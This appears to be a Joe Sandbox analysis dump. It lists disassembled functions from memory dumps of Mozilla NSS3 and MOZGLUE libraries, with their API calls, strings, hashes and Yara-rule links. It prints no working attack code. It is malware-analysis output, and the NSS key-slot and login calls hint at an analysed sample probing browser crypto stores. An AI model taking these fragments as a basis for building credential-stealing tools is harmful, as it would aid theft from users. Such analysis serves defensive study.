Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: bc6c75d38ac5023bdd70eb0fa2b7d89a3e537397b0775e9d728fcb28d382f233
Instruction ID: 3739f9317f17abd59234f0ad16f1d87b276d09769df18b113fb94def77e426ef
Opcode Fuzzy Hash: bc6c75d38ac5023bdd70eb0fa2b7d89a3e537397b0775e9d728fcb28d382f233
Instruction Fuzzy Hash: 1621B631B02603ABCB1C9BE9DD54E693376EB86324B05852DF80597F80D731A8C786A5

Function 6CB30DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CB30BDE), ref: 6CB30DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CB30BDE), ref: 6CB30DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CB30BDE), ref: 6CB30DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CB30BDE), ref: 6CB30E32

Strings

%s incr => %d (find lib), xrefs: 6CB30E2D

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 3d29636f523407e4e8be8f93585ca468183aa330d16e611e0d91c51120c08ece
Instruction ID: 69f7c9cbfe609cae3f7f4ef44a37f27723afe2c39d8eb6c8b5dfd5573e578377
Opcode Fuzzy Hash: 3d29636f523407e4e8be8f93585ca468183aa330d16e611e0d91c51120c08ece
Instruction Fuzzy Hash: 0701F172B002709FE6209E29EC49E1773BCDF45A09B45446DE909D3A81F661EC2486E1

Function 6CA8C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA8C0E9), ref: 6CA8C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CA8C437
FreeLibrary.KERNEL32(?,6CA8C0E9), ref: 6CA8C44C

Strings

ntdll.dll, xrefs: 6CA8C413
NtQueryVirtualMemory, xrefs: 6CA8C431

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 3e338255774635c08808ff103916c88f71a2403fb12f034408f69de6f461d8a2
Instruction ID: 45dc0f9a47085c1a58cf0967ee4392084ed8c0b23054acb661eddc85a86efdaf
Opcode Fuzzy Hash: 3e338255774635c08808ff103916c88f71a2403fb12f034408f69de6f461d8a2
Instruction Fuzzy Hash: BDE092706013079BEB2C6BF1BD1C719BAF8B70A608F04C21AAA0492640EBB0C0828B50

Function 6CA875B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA8748B,?), ref: 6CA875B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CA875D7
FreeLibrary.KERNEL32(?,6CA8748B,?), ref: 6CA875EC

Strings

ntdll.dll, xrefs: 6CA875B3
RtlNtStatusToDosError, xrefs: 6CA875D1

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: ad37a314c6efadb0d5111dafb4797b27d4214b429a206145797e64fd8f4834cd
Instruction ID: 22190085b45abb411bd62d4e444788035c994ed2e602428565737bae59a50145
Opcode Fuzzy Hash: ad37a314c6efadb0d5111dafb4797b27d4214b429a206145797e64fd8f4834cd
Instruction Fuzzy Hash: 79E09275701307ABEB1C6BE2FC58709BAF8EB06218F14D229ED05E2640EBB080839F10

Function 6CA24DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA24E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA24E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA24EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA24F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA24F1E

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 84244e4449883613bbbdd9616ea0b9f4ef8eb97ab5d4fd40b7d20cbce92c7a99
Instruction ID: 30311b69ccb3b608eaf37a74684217c2bd3901adf8f662599f1e9f221dd4d63e
Opcode Fuzzy Hash: 84244e4449883613bbbdd9616ea0b9f4ef8eb97ab5d4fd40b7d20cbce92c7a99
Instruction Fuzzy Hash: 0741FF716087119FD711CF29C88099BB7F4BF89354F188A2DF86A87B40DB34E998CB81

Function 6CA31530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CA3152B,?,?,?,?,6CA31248,?), ref: 6CA3159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA3152B,?,?,?,?,6CA31248,?), ref: 6CA315BC
moz_xmalloc.MOZGLUE(-00000001,?,6CA3152B,?,?,?,?,6CA31248,?), ref: 6CA315E7
free.MOZGLUE(?,?,?,?,?,?,6CA3152B,?,?,?,?,6CA31248,?), ref: 6CA31606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CA3152B,?,?,?,?,6CA31248,?), ref: 6CA31637

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 0ae288d03524521efb1376af48e403f60583b2a63adc9ce7aa34ed47399223e6
Instruction ID: 9ead41599fdae576d16f72601ef5dac5c8d781374ac8439e69fb9202b4f37769
Opcode Fuzzy Hash: 0ae288d03524521efb1376af48e403f60583b2a63adc9ce7aa34ed47399223e6
Instruction Fuzzy Hash: 57310C71A001248BC7148F7DD9604BE73E5BB853647281B2DE527D7BD4EB30D94587A1

Function 6CB3EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB3EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CB3EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CB3EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB3EEEB
free.MOZGLUE(?), ref: 6CB3EEF6

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 52861f2c72f298362d5803a7002368b213b2b5cdd67858f4195a9cb05eea07dc
Instruction ID: 3393df5fe9af00ceae5c1728fecc964d765a6ee2946e06c2226df58477504a4c
Opcode Fuzzy Hash: 52861f2c72f298362d5803a7002368b213b2b5cdd67858f4195a9cb05eea07dc
Instruction Fuzzy Hash: 79312571A002F09BEB209F29DC44B6E7BB4FB46704F14152AE85E87A90DB31EC15CBD2

Function 6CA8AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CA9E330,?,6CA4C059), ref: 6CA8AD9D

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CA9E330,?,6CA4C059), ref: 6CA8ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CA9E330,?,6CA4C059), ref: 6CA8AE01
GetLastError.KERNEL32(?,00000000,?,?,6CA9E330,?,6CA4C059), ref: 6CA8AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CA9E330,?,6CA4C059), ref: 6CA8AE3D

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0fd8ba923c798d5c145432ab5eca07dbe6885ba4d2d1d506c540ec9873040131
Instruction ID: 6e044044cf49279e1f5b2e9a3b510adafe1a378fd275b44c2d84c15b0aefda6d
Opcode Fuzzy Hash: 0fd8ba923c798d5c145432ab5eca07dbe6885ba4d2d1d506c540ec9873040131
Instruction Fuzzy Hash: BE31A0B1A013159FDB10DF799D44AABBBF9EF48614F14882DE84AD7740E734D884CBA0

Function 6CA85EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CA9DCA0,?,?,?,6CA5E8B5,00000000), ref: 6CA85F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA5E8B5,00000000), ref: 6CA85F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CA5E8B5,00000000), ref: 6CA85F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CA5E8B5,00000000), ref: 6CA85F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA5E8B5,00000000), ref: 6CA85FD6

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f5442814d43e45293780bb57aa67c3f0ac98f05dd210e7b47d4d6d49b2f423ea
Instruction ID: adf8f390121324615616b98e378c24d893da05251cb38ac00b73ad14b0745090
Opcode Fuzzy Hash: f5442814d43e45293780bb57aa67c3f0ac98f05dd210e7b47d4d6d49b2f423ea
Instruction Fuzzy Hash: 0E312E343016058FE714CF29D898E2AB7F5FF89319B688658E9578B795C731EC82CB80

Function 6CA2B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA2B532
moz_xmalloc.MOZGLUE(?), ref: 6CA2B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA2B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA2B57E
free.MOZGLUE(00000000), ref: 6CA2B58F

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: e91f372a26a2ea3c6888be1dda117357d980dda9fae313d562c12c8435cc6f19
Instruction ID: cffc8dcfa5b4a121d4294bd2ed716dd241dbfb3bd67a52e72e632d25d46fc88c
Opcode Fuzzy Hash: e91f372a26a2ea3c6888be1dda117357d980dda9fae313d562c12c8435cc6f19
Instruction Fuzzy Hash: 89210A71A002169BDB008F65DC40BAEBBB9FF45308F2C4129ED1ADB341E736D995C7A1

Function 6CB4AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CB43FFF,00000000,?,?,?,?,?,6CB41A1C,00000000,00000000), ref: 6CB4ADA7

Part of subcall function 6CBA14C0: TlsGetValue.KERNEL32 ref: 6CBA14E0
Part of subcall function 6CBA14C0: EnterCriticalSection.KERNEL32 ref: 6CBA14F5
Part of subcall function 6CBA14C0: PR_Unlock.NSS3 ref: 6CBA150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CB43FFF,00000000,?,?,?,?,?,6CB41A1C,00000000,00000000), ref: 6CB4ADB4

Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA10F3
Part of subcall function 6CBA10C0: EnterCriticalSection.KERNEL32(?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA110C
Part of subcall function 6CBA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1141
Part of subcall function 6CBA10C0: PR_Unlock.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1182
Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CB43FFF,?,?,?,?,6CB43FFF,00000000,?,?,?,?,?,6CB41A1C,00000000), ref: 6CB4ADD5

Part of subcall function 6CB9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CB98D2D,?,00000000,?), ref: 6CB9FB85
Part of subcall function 6CB9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CB9FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CC694B0,?,?,?,?,?,?,?,?,6CB43FFF,00000000,?), ref: 6CB4ADEC

Part of subcall function 6CB9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC718D0,?), ref: 6CB9B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB43FFF), ref: 6CB4AE3C

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: c05a818671cb4629dd5fe5ce490f6ecf30f66d938ba47ce86d81970cea1b895c
Instruction ID: d835732d43601e53db8f069264f9355369d7515199d46c58d0caa962886bac70
Opcode Fuzzy Hash: c05a818671cb4629dd5fe5ce490f6ecf30f66d938ba47ce86d81970cea1b895c
Instruction Fuzzy Hash: 37117B71E042545BE7109B659C40FBF73B8DF5124CF048138FC6996741FB20E95996E3

Function 6CB68E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CB82E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB54F1C), ref: 6CB68EA2

Part of subcall function 6CB8F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CB8F854
Part of subcall function 6CB8F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CB8F868
Part of subcall function 6CB8F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CB8F882
Part of subcall function 6CB8F820: free.MOZGLUE(04C483FF,?,?), ref: 6CB8F889
Part of subcall function 6CB8F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CB8F8A4
Part of subcall function 6CB8F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CB8F8AB
Part of subcall function 6CB8F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CB8F8C9
Part of subcall function 6CB8F820: free.MOZGLUE(280F10EC,?,?), ref: 6CB8F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CB82E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB54F1C), ref: 6CB68EC3
TlsGetValue.KERNEL32(?,?,?,6CB82E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB54F1C), ref: 6CB68EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CB82E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CB68EF1
PR_Unlock.NSS3 ref: 6CB68F20

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: 08fac6838b7e3126ab78fe358880cdcb9c13fe9e93e3c74ff61ae7bc30f85f3e
Instruction ID: 2c65dbd143544f75e2f03b92693a63204c2d77c7282df45382954d535b0bff72
Opcode Fuzzy Hash: 08fac6838b7e3126ab78fe358880cdcb9c13fe9e93e3c74ff61ae7bc30f85f3e
Instruction Fuzzy Hash: D6217A71A096459FCB00AF2AD18819DBBF0FF49318F41496EE8989BB41DB31E854CBC2

Function 6CA876C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CA876F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CA87705

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA87717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CA8778F,00000000,00000000,00000000,00000000), ref: 6CA87731
free.MOZGLUE(00000000), ref: 6CA87760

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 3189bf010f4071afd29d215ef2f0f3daacc39ff8f5535675c30a5720fbeadb1e
Instruction ID: 6b9391942ede1e00265075f734d0e3c6ef32b6ac991900196083e9599102d130
Opcode Fuzzy Hash: 3189bf010f4071afd29d215ef2f0f3daacc39ff8f5535675c30a5720fbeadb1e
Instruction Fuzzy Hash: 7611B6B1A013256BDB10AFB69D44BAF7EE8EF46354F044529F848D7300E7708884C7E2

Function 6CB58FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CB60710), ref: 6CB58FF1
PR_CallOnce.NSS3(6CCA2158,6CB59150,00000000,?,?,?,6CB59138,?,6CB60710), ref: 6CB59029
calloc.MOZGLUE(00000001,00000000,?,?,6CB60710), ref: 6CB5904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CB60710), ref: 6CB59066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CB60710), ref: 6CB59078

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: c77f6bf843013a0d349a0cafc8119a7ab93510bdac766936b830f0ff36849acf
Instruction ID: dd8dca20d8f0a8dcf5f3f80739d924f6cb6250204d9ba4f88ed156167ddb29ee
Opcode Fuzzy Hash: c77f6bf843013a0d349a0cafc8119a7ab93510bdac766936b830f0ff36849acf
Instruction Fuzzy Hash: F11125A1B001A157E7101FE9AC04A6A32ACDB827ACF880821FD48C2A40F753CC6683A6

Function 6CB6CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CB81E10: TlsGetValue.KERNEL32 ref: 6CB81E36
Part of subcall function 6CB81E10: EnterCriticalSection.KERNEL32(?,?,?,6CB5B1EE,2404110F,?,?), ref: 6CB81E4B
Part of subcall function 6CB81E10: PR_Unlock.NSS3 ref: 6CB81E76

free.MOZGLUE(?,6CB6D079,00000000,00000001), ref: 6CB6CDA5
PK11_FreeSymKey.NSS3(?,6CB6D079,00000000,00000001), ref: 6CB6CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CB6D079,00000000,00000001), ref: 6CB6CDCF
DeleteCriticalSection.KERNEL32(?,6CB6D079,00000000,00000001), ref: 6CB6CDE2
free.MOZGLUE(?), ref: 6CB6CDE9

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
